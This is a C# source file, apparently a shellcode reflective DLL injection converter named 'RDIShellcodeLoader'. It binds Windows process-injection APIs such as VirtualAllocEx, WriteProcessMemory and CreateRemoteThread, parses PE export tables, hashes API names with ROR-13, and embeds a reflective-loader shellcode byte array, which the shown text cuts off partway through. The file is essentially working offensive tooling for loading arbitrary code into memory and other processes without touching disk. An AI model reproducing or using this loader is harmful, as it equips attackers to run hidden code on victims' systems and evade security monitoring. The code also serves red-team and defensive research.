﻿using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Reflection;

namespace RDIShellcodeLoader
{
    static class Native
    {
        [Flags]
        public enum ProcessAccessFlags : uint
        {
            Terminate = 0x00000001,
            CreateThread = 0x00000002,
            VMOperation = 0x00000008,
            VMRead = 0x00000010,
            VMWrite = 0x00000020,
            DupHandle = 0x00000040,
            SetInformation = 0x00000200,
            QueryInformation = 0x00000400,
            Synchronize = 0x00100000,
            All = 0x001F0FFF
        }

        [DllImport("kernel32.dll")]
        public static extern IntPtr LoadLibrary(string dllToLoad);

        [DllImport("kernel32.dll")]
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, UInt32 flAllocationType, UInt32 flProtect);

        [DllImport("kernel32.dll")]
        public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect);

        [DllImport("msvcrt.dll")]
        public static extern IntPtr memcpy(IntPtr dest, IntPtr src, UIntPtr count);

        [DllImport("msvcrt.dll")]
        public static extern IntPtr memset(IntPtr dest, Int32 character, IntPtr count);

        [DllImport("kernel32.dll")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, String procName);

        [DllImport("kernel32.dll")]
        public static extern Boolean VirtualFreeEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, UInt32 dwFreeType);

        [DllImport("kernel32.dll")]
        public static extern Boolean VirtualFree(IntPtr lpAddress, UIntPtr dwSize, UInt32 dwFreeType);

        [DllImport("kernel32.dll")]
        public static extern Boolean VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, UInt32 flNewProtect, out UInt32 lpflOldProtect);

        [DllImport("kernel32.dll")]
        public static extern Boolean FreeLibrary(IntPtr hModule);

        [DllImport("kernel32.dll")]
        public static extern UInt32 WaitForSingleObject(IntPtr hModule, UInt32 timeout);

        [DllImport("kernel32.dll")]
        public static extern Boolean WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        public static extern Boolean ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, UIntPtr nSize, out UIntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, UIntPtr dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, UInt32 dwCreationFlags, out IntPtr lpThreadID);

        [DllImport("kernel32.dll")]
        public static extern Boolean GetExitCodeThread(IntPtr hThread, Int32 exitCode);

        [DllImport("kernel32.dll")]
        public static extern Boolean OpenThreadToken(IntPtr ThreadHandle, UInt32 DesiredAccess, Boolean OpenAsSelf, out IntPtr TokenHandle);

        [DllImport("kernel32.dll")]
        public static extern IntPtr GetCurrentThread();

        [DllImport("kernel32.dll")]
        public static extern Boolean CloseHandle(IntPtr handle);

        [DllImport("kernel32.dll")]
        public static extern IntPtr GetCurrentProcess();

        [DllImport("kernel32.dll")]
        public static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, int dwProcessId);

        [DllImport("kernel32.dll")]
        public static extern UInt32 NtCreateThreadEx(out IntPtr hThread, UInt32 DesiredAccess, IntPtr ObjectAttributes, IntPtr ProcessHandle, IntPtr lpStartAddress, IntPtr lpParameter, Boolean CreateSuspended, UInt32 StackZeroBits, UInt32 SizeOfStackCommit, UInt32 SizeOfStackReserve, IntPtr lpBytesBuffer);

        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, IntPtr dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, UInt32 dwCreationFlags, out UInt32 lpThreadID);

        [DllImport("kernel32.dll")]
        public static extern Boolean AdjustTokenPrivileges(IntPtr TokenHandle, Boolean DisableAllPrivileges, IntPtr NewState, UInt32 BufferLength, IntPtr PreviousState, IntPtr ReturnLength);

        [DllImport("kernel32.dll")]
        public static extern Boolean IsWow64Process(Int32 hProcess);

        public const UInt64 MEM_COMMIT = 0x00001000;
        public const UInt64 MEM_RESERVE = 0x00002000;
        public const ushort PAGE_NOACCESS = 0x01;
        public const ushort PAGE_READONLY = 0x02;
        public const ushort PAGE_READWRITE = 0x04;
        public const ushort PAGE_WRITECOPY = 0x08;
        public const ushort PAGE_EXECUTE = 0x10;
        public const ushort PAGE_EXECUTE_READ = 0x20;
        public const ushort PAGE_EXECUTE_READWRITE = 0x40;
        public const ushort PAGE_EXECUTE_WRITECOPY = 0x80;
        public const UInt32 PAGE_NOCACHE = 0x200;
        public const UInt64 IMAGE_SCN_MEM_DISCARDABLE = 0x02000000;
        public const UInt64 IMAGE_SCN_MEM_EXECUTE = 0x20000000;
        public const UInt64 IMAGE_SCN_MEM_READ = 0x40000000;
        public const UInt64 IMAGE_SCN_MEM_WRITE = 0x80000000;
        public const UInt64 IMAGE_SCN_MEM_NOT_CACHED = 0x04000000;
        public const UInt32 MEM_DECOMMIT = 0x4000;
        public const UInt32 IMAGE_FILE_EXECUTABLE_IMAGE = 0x0002;
        public const UInt32 IMAGE_FILE_DLL = 0x2000;
        public const ushort IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE = 0x40;
        public const UInt32 IMAGE_DLLCHARACTERISTICS_NX_COMPAT = 0x100;
        public const UInt32 MEM_RELEASE = 0x8000;
        public const UInt32 TOKEN_QUERY = 0x0008;
        public const UInt32 TOKEN_ADJUST_PRIVILEGES = 0x0020;
        public const ushort SE_PRIVILEGE_ENABLED = 0x2;
        public const UInt32 ERROR_NO_TOKEN = 0x3f0;
    }

    public class PE
    {
        [StructLayout(LayoutKind.Sequential, Pack = 1)]
        struct IMAGE_DATA_DIRECTORY
        {
            public uint VirtualAddress;
            public uint Size;
        }

        //[StructLayout(LayoutKind.Sequential, Pack = 1)]
        [StructLayout(LayoutKind.Explicit)]
        unsafe struct IMAGE_SECTION_HEADER
        {
            [FieldOffset(0)]
            public fixed byte Name[8];
            [FieldOffset(8)]
            public uint PhysicalAddress;
            [FieldOffset(8)]
            public uint VirtualSize;
            [FieldOffset(12)]
            public uint VirtualAddress;
            [FieldOffset(16)]
            public uint SizeOfRawData;
            [FieldOffset(20)]
            public uint PointerToRawData;
            [FieldOffset(24)]
            public uint PointerToRelocations;
            [FieldOffset(28)]
            public uint PointerToLinenumbers;
            [FieldOffset(32)]
            public ushort NumberOfRelocations;
            [FieldOffset(34)]
            public ushort NumberOfLinenumbers;
            [FieldOffset(36)]
            public uint Characteristics;
        }

        [StructLayout(LayoutKind.Sequential, Pack = 1)]
        struct IMAGE_FILE_HEADER
        {
            public ushort Machine;
            public ushort NumberOfSections;
            public uint TimeDateStamp;
            public uint PointerToSymbolTable;
            public uint NumberOfSymbols;
            public ushort SizeOfOptionalHeader;
            public ushort Characteristics;
        }

        [StructLayout(LayoutKind.Sequential, Pack = 1)]
        struct IMAGE_EXPORT_DIRECTORY
        {
            public uint Characteristics;
            public uint TimeDateStamp;
            public ushort MajorVersion;
            public ushort MinorVersion;
            public uint Name;
            public uint Base;
            public uint NumberOfFunctions;
            public uint NumberOfNames;
            public uint AddressOfFunctions;     // RVA from base of image
            public uint AddressOfNames;         // RVA from base of image
            public uint AddressOfNameOrdinals;  // RVA from base of image
        }

        enum IMAGE_DOS_SIGNATURE : ushort
        {
            DOS_SIGNATURE = 0x5A4D,      // MZ
            OS2_SIGNATURE = 0x454E,      // NE
            OS2_SIGNATURE_LE = 0x454C,      // LE
        }

        enum MagicType : ushort
        {
            IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b,
            IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b,
        }

        [StructLayout(LayoutKind.Sequential, Pack = 1)]
        struct IMAGE_DOS_HEADER
        {
            public IMAGE_DOS_SIGNATURE e_magic;        // Magic number
            public ushort e_cblp;                      // public bytes on last page of file
            public ushort e_cp;                        // Pages in file
            public ushort e_crlc;                      // Relocations
            public ushort e_cparhdr;                   // Size of header in paragraphs
            public ushort e_minalloc;                  // Minimum extra paragraphs needed
            public ushort e_maxalloc;                  // Maximum extra paragraphs needed
            public ushort e_ss;                        // Initial (relative) SS value
            public ushort e_sp;                        // Initial SP value
            public ushort e_csum;                      // Checksum
            public ushort e_ip;                        // Initial IP value
            public ushort e_cs;                        // Initial (relative) CS value
            public ushort e_lfarlc;                    // File address of relocation table
            public ushort e_ovno;                      // Overlay number
            [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 8)]
            public string e_res;                       // May contain 'Detours!'
            public ushort e_oemid;                     // OEM identifier (for e_oeminfo)
            public ushort e_oeminfo;                   // OEM information; e_oemid specific
            [MarshalAsAttribute(UnmanagedType.ByValArray, SizeConst = 10)]
            public ushort[] e_res2;                      // Reserved public ushorts
            public Int32 e_lfanew;                    // File address of new exe header
        }

        [StructLayout(LayoutKind.Sequential, Pack = 1)]
        struct IMAGE_OPTIONAL_HEADER
        {
            //
            // Standard fields.
            //

            public MagicType Magic;
            public byte MajorLinkerVersion;
            public byte MinorLinkerVersion;
            public uint SizeOfCode;
            public uint SizeOfInitializedData;
            public uint SizeOfUninitializedData;
            public uint AddressOfEntryPoint;
            public uint BaseOfCode;
            public uint BaseOfData;
            public uint ImageBase;
            public uint SectionAlignment;
            public uint FileAlignment;
            public ushort MajorOperatingSystemVersion;
            public ushort MinorOperatingSystemVersion;
            public ushort MajorImageVersion;
            public ushort MinorImageVersion;
            public ushort MajorSubsystemVersion;
            public ushort MinorSubsystemVersion;
            public uint Win32VersionValue;
            public uint SizeOfImage;
            public uint SizeOfHeaders;
            public uint CheckSum;
            public ushort Subsystem;
            public ushort DllCharacteristics;
            public uint SizeOfStackReserve;
            public uint SizeOfStackCommit;
            public uint SizeOfHeapReserve;
            public uint SizeOfHeapCommit;
            public uint LoaderFlags;
            public uint NumberOfRvaAndSizes;
            public IMAGE_DATA_DIRECTORY ExportTable;
            public IMAGE_DATA_DIRECTORY ImportTable;
            public IMAGE_DATA_DIRECTORY ResourceTable;
            public IMAGE_DATA_DIRECTORY ExceptionTable;
            public IMAGE_DATA_DIRECTORY CertificateTable;
            public IMAGE_DATA_DIRECTORY BaseRelocationTable;
            public IMAGE_DATA_DIRECTORY Debug;
            public IMAGE_DATA_DIRECTORY Architecture;
            public IMAGE_DATA_DIRECTORY GlobalPtr;
            public IMAGE_DATA_DIRECTORY TLSTable;
            public IMAGE_DATA_DIRECTORY LoadConfigTable;
            public IMAGE_DATA_DIRECTORY BoundImport;
            public IMAGE_DATA_DIRECTORY IAT;
            public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
            public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
            public IMAGE_DATA_DIRECTORY Public;
        }

        [StructLayout(LayoutKind.Sequential, Pack = 1)]
        struct IMAGE_OPTIONAL_HEADER64
        {
            public MagicType Magic;
            public byte MajorLinkerVersion;
            public byte MinorLinkerVersion;
            public uint SizeOfCode;
            public uint SizeOfInitializedData;
            public uint SizeOfUninitializedData;
            public uint AddressOfEntryPoint;
            public uint BaseOfCode;
            public ulong ImageBase;
            public uint SectionAlignment;
            public uint FileAlignment;
            public ushort MajorOperatingSystemVersion;
            public ushort MinorOperatingSystemVersion;
            public ushort MajorImageVersion;
            public ushort MinorImageVersion;
            public ushort MajorSubsystemVersion;
            public ushort MinorSubsystemVersion;
            public uint Win32VersionValue;
            public uint SizeOfImage;
            public uint SizeOfHeaders;
            public uint CheckSum;
            public ushort Subsystem;
            public ushort DllCharacteristics;
            public ulong SizeOfStackReserve;
            public ulong SizeOfStackCommit;
            public ulong SizeOfHeapReserve;
            public ulong SizeOfHeapCommit;
            public uint LoaderFlags;
            public uint NumberOfRvaAndSizes;
            public IMAGE_DATA_DIRECTORY ExportTable;
            public IMAGE_DATA_DIRECTORY ImportTable;
            public IMAGE_DATA_DIRECTORY ResourceTable;
            public IMAGE_DATA_DIRECTORY ExceptionTable;
            public IMAGE_DATA_DIRECTORY CertificateTable;
            public IMAGE_DATA_DIRECTORY BaseRelocationTable;
            public IMAGE_DATA_DIRECTORY Debug;
            public IMAGE_DATA_DIRECTORY Architecture;
            public IMAGE_DATA_DIRECTORY GlobalPtr;
            public IMAGE_DATA_DIRECTORY TLSTable;
            public IMAGE_DATA_DIRECTORY LoadConfigTable;
            public IMAGE_DATA_DIRECTORY BoundImport;
            public IMAGE_DATA_DIRECTORY IAT;
            public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
            public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
            public IMAGE_DATA_DIRECTORY Public;
        }

        [StructLayout(LayoutKind.Sequential, Pack = 1)]
        struct IMAGE_NT_HEADERS64
        {
            public uint Signature;
            public IMAGE_FILE_HEADER FileHeader;
            public IMAGE_OPTIONAL_HEADER64 OptionalHeader;
        }

        [StructLayout(LayoutKind.Sequential, Pack = 1)]
        struct IMAGE_NT_HEADERS
        {
            public uint Signature;
            public IMAGE_FILE_HEADER FileHeader;
            public IMAGE_OPTIONAL_HEADER OptionalHeader;
        }
        public static IntPtr Rva2Offset(uint dwRva, IntPtr PEPointer)
        {
            bool is64Bit = false;
            ushort wIndex = 0;
            ushort wNumberOfSections = 0;
            IntPtr imageSectionPtr;
            IMAGE_SECTION_HEADER SectionHeader;
            int sizeOfSectionHeader = Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER));

            IMAGE_DOS_HEADER dosHeader = (IMAGE_DOS_HEADER)Marshal.PtrToStructure(PEPointer, typeof(IMAGE_DOS_HEADER));

            IntPtr NtHeadersPtr = (IntPtr)((UInt64)PEPointer + (UInt64)dosHeader.e_lfanew);

            var imageNtHeaders32 = (IMAGE_NT_HEADERS)Marshal.PtrToStructure(NtHeadersPtr, typeof(IMAGE_NT_HEADERS));
            var imageNtHeaders64 = (IMAGE_NT_HEADERS64)Marshal.PtrToStructure(NtHeadersPtr, typeof(IMAGE_NT_HEADERS64));

            if (imageNtHeaders64.OptionalHeader.Magic == MagicType.IMAGE_NT_OPTIONAL_HDR64_MAGIC) is64Bit = true;


            if (is64Bit)
            {
                imageSectionPtr = (IntPtr)(((Int64)NtHeadersPtr + (Int64)Marshal.OffsetOf(typeof(IMAGE_NT_HEADERS64), "OptionalHeader") + (Int64)imageNtHeaders64.FileHeader.SizeOfOptionalHeader));
                SectionHeader = (IMAGE_SECTION_HEADER)Marshal.PtrToStructure(imageSectionPtr, typeof(IMAGE_SECTION_HEADER));
                wNumberOfSections = imageNtHeaders64.FileHeader.NumberOfSections;
            }
            else
            {
                imageSectionPtr = (IntPtr)(((Int64)NtHeadersPtr + (Int64)Marshal.OffsetOf(typeof(IMAGE_NT_HEADERS), "OptionalHeader") + (Int64)imageNtHeaders32.FileHeader.SizeOfOptionalHeader));
                SectionHeader = (IMAGE_SECTION_HEADER)Marshal.PtrToStructure(imageSectionPtr, typeof(IMAGE_SECTION_HEADER));
                wNumberOfSections = imageNtHeaders32.FileHeader.NumberOfSections;
            }

            if (dwRva < SectionHeader.PointerToRawData)
                return (IntPtr)((UInt64)dwRva + (UInt64)PEPointer);

            for (wIndex = 0; wIndex < wNumberOfSections; wIndex++)
            {
                SectionHeader = (IMAGE_SECTION_HEADER)Marshal.PtrToStructure((IntPtr)((uint)imageSectionPtr + (uint)(sizeOfSectionHeader * (wIndex))), typeof(IMAGE_SECTION_HEADER));
                if (dwRva >= SectionHeader.VirtualAddress && dwRva < (SectionHeader.VirtualAddress + SectionHeader.SizeOfRawData))
                    return (IntPtr)((UInt64)(dwRva - SectionHeader.VirtualAddress + SectionHeader.PointerToRawData) + (UInt64)PEPointer);
            }

            return IntPtr.Zero;
        }

        public static unsafe bool Is64BitDLL(byte[] dllBytes)
        {
            bool is64Bit = false;

            GCHandle scHandle = GCHandle.Alloc(dllBytes, GCHandleType.Pinned);
            IntPtr scPointer = scHandle.AddrOfPinnedObject();

            Int32 headerOffset = Marshal.ReadInt32(scPointer, 60);
            UInt16 magic = (UInt16)Marshal.ReadInt16(scPointer, headerOffset + 4);

            if (magic == (UInt16)512 || magic == (UInt16)34404)
                is64Bit = true;

            scHandle.Free();

            return is64Bit;
        }

        public static unsafe IntPtr GetProcAddressR(IntPtr PEPointer, string functionName)
        {
            bool is64Bit = false;

            IMAGE_DOS_HEADER dosHeader = (IMAGE_DOS_HEADER)Marshal.PtrToStructure(PEPointer, typeof(IMAGE_DOS_HEADER));

            IntPtr NtHeadersPtr = (IntPtr)((UInt64)PEPointer + (UInt64)dosHeader.e_lfanew);

            var imageNtHeaders64 = (IMAGE_NT_HEADERS64)Marshal.PtrToStructure(NtHeadersPtr, typeof(IMAGE_NT_HEADERS64));
            var imageNtHeaders32 = (IMAGE_NT_HEADERS)Marshal.PtrToStructure(NtHeadersPtr, typeof(IMAGE_NT_HEADERS));

            if (imageNtHeaders64.Signature != 0x00004550)
                throw new ApplicationException("Invalid IMAGE_NT_HEADER signature.");

            if (imageNtHeaders64.OptionalHeader.Magic == MagicType.IMAGE_NT_OPTIONAL_HDR64_MAGIC) is64Bit = true;

            IntPtr ExportTablePtr;

            if (is64Bit)
            {
                if ((imageNtHeaders64.FileHeader.Characteristics & 0x2000) != 0x2000)
                    throw new ApplicationException("File is not a DLL, Exiting.");

                ExportTablePtr = (IntPtr)((UInt64)PEPointer + (UInt64)imageNtHeaders64.OptionalHeader.ExportTable.VirtualAddress);
            }
            else
            {
                if ((imageNtHeaders32.FileHeader.Characteristics & 0x2000) != 0x2000)
                    throw new ApplicationException("File is not a DLL, Exiting.");

                ExportTablePtr = (IntPtr)((UInt64)PEPointer + (UInt64)imageNtHeaders32.OptionalHeader.ExportTable.VirtualAddress);
            }

            IMAGE_EXPORT_DIRECTORY ExportTable = (IMAGE_EXPORT_DIRECTORY)Marshal.PtrToStructure(ExportTablePtr, typeof(IMAGE_EXPORT_DIRECTORY));

            for (int i = 0; i < ExportTable.NumberOfNames; i++)
            {
                IntPtr NameOffsetPtr = (IntPtr)((ulong)PEPointer + (ulong)ExportTable.AddressOfNames + (ulong)(i * Marshal.SizeOf(typeof(UInt32))));
                IntPtr NamePtr = (IntPtr)((ulong)PEPointer + (uint)Marshal.PtrToStructure(NameOffsetPtr, typeof(uint)));

                string Name = Marshal.PtrToStringAnsi(NamePtr);

                if (Name.Contains(functionName))
                {
                    IntPtr AddressOfFunctions = (IntPtr)((ulong)PEPointer + (ulong)ExportTable.AddressOfFunctions);
                    IntPtr OrdinalRvaPtr = (IntPtr)((ulong)PEPointer + (ulong)(ExportTable.AddressOfNameOrdinals + (i * Marshal.SizeOf(typeof(UInt16)))));
                    UInt16 FuncIndex = (UInt16)Marshal.PtrToStructure(OrdinalRvaPtr, typeof(UInt16));
                    IntPtr FuncOffsetLocation = (IntPtr)((ulong)AddressOfFunctions + (ulong)(FuncIndex * Marshal.SizeOf(typeof(UInt32))));
                    IntPtr FuncLocationInMemory = (IntPtr)((ulong)PEPointer + (uint)Marshal.PtrToStructure(FuncOffsetLocation, typeof(UInt32)));

                    return FuncLocationInMemory;
                }
            }
            return IntPtr.Zero;
        }
    }

    class Program
    {
        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        delegate IntPtr ReflectiveLoader();

        [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
        delegate bool ExportedFunction(IntPtr userData, uint userLength);

        public static uint Ror(uint val, int r_bits, int max_bits)
        {
            return (val >> r_bits) | (val << (max_bits - r_bits));
        }

        public static uint HashFunction(string name)
        {
            uint functionHash = 0;

            name += "\x00";

            foreach (char c in name)
            {
                functionHash = Ror(functionHash, 13, 32);
                functionHash += c;
            }

            return functionHash;
        }

        public static byte[] ConvertToShellcode(byte[] dllBytes, uint functionHash, byte[] userData, uint flags)
        {
#if DEBUG
            byte[] rdiShellcode64 = System.IO.File.ReadAllBytes("../../../../bin/ShellcodeRDI_x64.bin");
            byte[] rdiShellcode32 = System.IO.File.ReadAllBytes("../../../../bin/ShellcodeRDI_x86.bin");
#else
            //MARKER:S
            var rdiShellcode32 = new byte[] { 0x81,0xEC,0x14,0x01,0x00,0x00,0x53,0x55,0x56,0x57,0x6A,0x6B,0x58,0x6A,0x65,0x66,0x89,0x84,0x24,0xCC,0x00,0x00,0x00,0x33,0xED,0x58,0x6A,0x72,0x59,0x6A,0x6E,0x5B,0x6A,0x6C,0x5A,0x6A,0x33,0x66,0x89,0x84,0x24,0xCE,0x00,0x00,0x00,0x66,0x89,0x84,0x24,0xD4,0x00,0x00,0x00,0x58,0x6A,0x32,0x66,0x89,0x84,0x24,0xD8,0x00,0x00,0x00,0x58,0x6A,0x2E,0x66,0x89,0x84,0x24,0xDA,0x00,0x00,0x00,0x58,0x6A,0x64,0x66,0x89,0x84,0x24,0xDC,0x00,0x00,0x00,0x58,0x89,0xAC,0x24,0xB0,0x00,0x00,0x00,0x89,0x6C,0x24,0x34,0x89,0xAC,0x24,0xB8,0x00,0x00,0x00,0x89,0xAC,0x24,0xC4,0x00,0x00,0x00,0x89,0xAC,0x24,0xB4,0x00,0x00,0x00,0x89,0xAC,0x24,0xAC,0x00,0x00,0x00,0x89,0xAC,0x24,0xE0,0x00,0x00,0x00,0x66,0x89,0x8C,0x24,0xCC,0x00,0x00,0x00,0x66,0x89,0x9C,0x24,0xCE,0x00,0x00,0x00,0x66,0x89,0x94,0x24,0xD2,0x00,0x00,0x00,0x66,0x89,0x84,0x24,0xDA,0x00,0x00,0x00,0x66,0x89,0x94,0x24,0xDC,0x00,0x00,0x00,0x66,0x89,0x94,0x24,0xDE,0x00,0x00,0x00,0xC6,0x44,0x24,0x3C,0x53,0x88,0x54,0x24,0x3D,0x66,0xC7,0x44,0x24,0x3E,0x65,0x65,0xC6,0x44,0x24,0x40,0x70,0x66,0xC7,0x44,0x24,0x50,0x4C,0x6F,0xC6,0x44,0x24,0x52,0x61,0x88,0x44,0x24,0x53,0x66,0xC7,0x44,0x24,0x54,0x4C,0x69,0xC6,0x44,0x24,0x56,0x62,0x88,0x4C,0x24,0x57,0xC6,0x44,0x24,0x58,0x61,0x88,0x4C,0x24,0x59,0x66,0xC7,0x44,0x24,0x5A,0x79,0x41,0x66,0xC7,0x44,0x24,0x44,0x56,0x69,0x88,0x4C,0x24,0x46,0x66,0xC7,0x44,0x24,0x47,0x74,0x75,0xC6,0x44,0x24,0x49,0x61,0x88,0x54,0x24,0x4A,0xC6,0x44,0x24,0x4B,0x41,0x88,0x54,0x24,0x4C,0x88,0x54,0x24,0x4D,0x66,0xC7,0x44,0x24,0x4E,0x6F,0x63,0x66,0xC7,0x44,0x24,0x5C,0x56,0x69,0x88,0x4C,0x24,0x5E,0x66,0xC7,0x44,0x24,0x5F,0x74,0x75,0xC6,0x44,0x24,0x61,0x61,0x88,0x54,0x24,0x62,0xC6,0x44,0x24,0x63,0x50,0x88,0x4C,0x24,0x64,0xC7,0x44,0x24,0x65,0x6F,0x74,0x65,0x63,0xC6,0x44,0x24,0x69,0x74,0xC6,0x84,0x24,0x94,0x00,0x00,0x00,0x46,0x88,0x94,0x24,0x95,0x00,0x00,0x00,0xC7,0x84,0x24,0x96,0x00,0x00,0x00,0x75,0x73,0x68,0x49,0x88,0x9C,0x24,0x9A,0x00,0x00,0x00,0x66,0xC7,0x84,0x24,0x9B,0x00,0x00,0x00,0x73,0x74,0x88,0x8C,0x24,0x9D,0x00,0x00,0x00,0xC7,0x84,0x24,0x9E,0x00,0x00,0x00,0x75,0x63,0x74,0x69,0xC6,0x84,0x24,0xA2,0x00,0x00,0x00,0x6F,0x6A,0x65,0x59,0x88,0x8C,0x24,0xA8,0x00,0x00,0x00,0x88,0x4C,0x24,0x6D,0x88,0x4C,0x24,0x74,0x88,0x4C,0x24,0x79,0x88,0x8C,0x24,0x92,0x00,0x00,0x00,0xB9,0x13,0x9C,0xBF,0xBD,0x88,0x9C,0x24,0xA3,0x00,0x00,0x00,0xC7,0x84,0x24,0xA4,0x00,0x00,0x00,0x43,0x61,0x63,0x68,0xC6,0x44,0x24,0x6C,0x47,0xC7,0x44,0x24,0x6E,0x74,0x4E,0x61,0x74,0x66,0xC7,0x44,0x24,0x72,0x69,0x76,0xC7,0x44,0x24,0x75,0x53,0x79,0x73,0x74,0x66,0xC7,0x44,0x24,0x7A,0x6D,0x49,0x88,0x5C,0x24,0x7C,0x66,0xC7,0x44,0x24,0x7D,0x66,0x6F,0x66,0xC7,0x84,0x24,0x80,0x00,0x00,0x00,0x52,0x74,0x88,0x94,0x24,0x82,0x00,0x00,0x00,0xC6,0x84,0x24,0x83,0x00,0x00,0x00,0x41,0x88,0x84,0x24,0x84,0x00,0x00,0x00,0x88,0x84,0x24,0x85,0x00,0x00,0x00,0x66,0xC7,0x84,0x24,0x86,0x00,0x00,0x00,0x46,0x75,0x88,0x9C,0x24,0x88,0x00,0x00,0x00,0xC7,0x84,0x24,0x89,0x00,0x00,0x00,0x63,0x74,0x69,0x6F,0x88,0x9C,0x24,0x8D,0x00,0x00,0x00,0x66,0xC7,0x84,0x24,0x8E,0x00,0x00,0x00,0x54,0x61,0xC6,0x84,0x24,0x90,0x00,0x00,0x00,0x62,0x88,0x94,0x24,0x91,0x00,0x00,0x00,0xE8,0x77,0x08,0x00,0x00,0xB9,0xB5,0x41,0xD9,0x5E,0x8B,0xF0,0xE8,0x6B,0x08,0x00,0x00,0x8B,0xD8,0x8D,0x84,0x24,0xC8,0x00,0x00,0x00,0x6A,0x18,0x89,0x84,0x24,0xEC,0x00,0x00,0x00,0x58,0x66,0x89,0x84,0x24,0xE6,0x00,0x00,0x00,0x66,0x89,0x84,0x24,0xE4,0x00,0x00,0x00,0x8D,0x44,0x24,0x1C,0x50,0x8D,0x84,0x24,0xE8,0x00,0x00,0x00,0x89,0x5C,0x24,0x34,0x50,0x55,0x55,0xFF,0xD6,0x6A,0x0C,0x5F,0x8D,0x44,0x24,0x44,0x66,0x89,0x7C,0x24,0x14,0x89,0x44,0x24,0x18,0x8D,0x44,0x24,0x34,0x50,0x55,0x8D,0x44,0x24,0x1C,0x66,0x89,0x7C,0x24,0x1E,0x50,0xFF,0x74,0x24,0x28,0xFF,0xD3,0x6A,0x0E,0x58,0x66,0x89,0x44,0x24,0x14,0x66,0x89,0x44,0x24,0x16,0x8D,0x44,0x24,0x5C,0x89,0x44,0x24,0x18,0x8D,0x84,0x24,0xB4,0x00,0x00,0x00,0x50,0x55,0x8D,0x44,0x24,0x1C,0x50,0xFF,0x74,0x24,0x28,0xFF,0xD3,0x6A,0x15,0x58,0x66,0x89,0x44,0x24,0x14,0x66,0x89,0x44,0x24,0x16,0x8D,0x84,0x24,0x94,0x00,0x00,0x00,0x89,0x44,0x24,0x18,0x8D,0x84,0x24,0xB8,0x00,0x00,0x00,0x50,0x55,0x8D,0x44,0x24,0x1C,0x50,0xFF,0x74,0x24,0x28,0xFF,0xD3,0x6A,0x13,0x5E,0x8D,0x44,0x24,0x6C,0x66,0x89,0x74,0x24,0x14,0x89,0x44,0x24,0x18,0x8D,0x84,0x24,0xC4,0x00,0x00,0x00,0x50,0x55,0x8D,0x44,0x24,0x1C,0x66,0x89,0x74,0x24,0x1E,0x50,0xFF,0x74,0x24,0x28,0xFF,0xD3,0x6A,0x05,0x58,0x66,0x89,0x44,0x24,0x14,0x66,0x89,0x44,0x24,0x16,0x8D,0x44,0x24,0x3C,0x89,0x44,0x24,0x18,0x8D,0x84,0x24,0xAC,0x00,0x00,0x00,0x50,0x55,0x8D,0x44,0x24,0x1C,0x50,0xFF,0x74,0x24,0x28,0xFF,0xD3,0x8D,0x84,0x24,0x80,0x00,0x00,0x00,0x66,0x89,0x74,0x24,0x14,0x89,0x44,0x24,0x18,0x8D,0x84,0x24,0xE0,0x00,0x00,0x00,0x50,0x55,0x8D,0x44,0x24,0x1C,0x66,0x89,0x74,0x24,0x1E,0x50,0xFF,0x74,0x24,0x28,0xFF,0xD3,0x8D,0x44,0x24,0x50,0x66,0x89,0x7C,0x24,0x14,0x89,0x44,0x24,0x18,0x8D,0x84,0x24,0xB0,0x00,0x00,0x00,0x50,0x55,0x8D,0x44,0x24,0x1C,0x66,0x89,0x7C,0x24,0x1E,0x50,0xFF,0x74,0x24,0x28,0xFF,0xD3,0x39,0x6C,0x24,0x34,0x0F,0x84,0x00,0x07,0x00,0x00,0x39,0xAC,0x24,0xB4,0x00,0x00,0x00,0x0F,0x84,0xF3,0x06,0x00,0x00,0x39,0xAC,0x24,0xAC,0x00,0x00,0x00,0x0F,0x84,0xE6,0x06,0x00,0x00,0x39,0xAC,0x24,0xB8,0x00,0x00,0x00,0x0F,0x84,0xD9,0x06,0x00,0x00,0x8B,0xAC,0x24,0xC4,0x00,0x00,0x00,0x85,0xED,0x0F,0x84,0xCA,0x06,0x00,0x00,0x8B,0xBC,0x24,0x28,0x01,0x00,0x00,0x8B,0x77,0x3C,0x03,0xF7,0x81,0x3E,0x50,0x45,0x00,0x00,0x0F,0x85,0xB2,0x06,0x00,0x00,0xB8,0x4C,0x01,0x00,0x00,0x66,0x39,0x46,0x04,0x0F,0x85,0xA3,0x06,0x00,0x00,0xF6,0x46,0x38,0x01,0x0F,0x85,0x99,0x06,0x00,0x00,0x0F,0xB7,0x4E,0x14,0x33,0xDB,0x0F,0xB7,0x56,0x06,0x83,0xC1,0x24,0x85,0xD2,0x74,0x1E,0x03,0xCE,0x83,0x79,0x04,0x00,0x8B,0x46,0x38,0x0F,0x45,0x41,0x04,0x03,0x01,0x8D,0x49,0x28,0x3B,0xC3,0x0F,0x46,0xC3,0x8B,0xD8,0x83,0xEA,0x01,0x75,0xE4,0x8D,0x84,0x24,0x00,0x01,0x00,0x00,0x50,0xFF,0xD5,0x8B,0x8C,0x24,0x04,0x01,0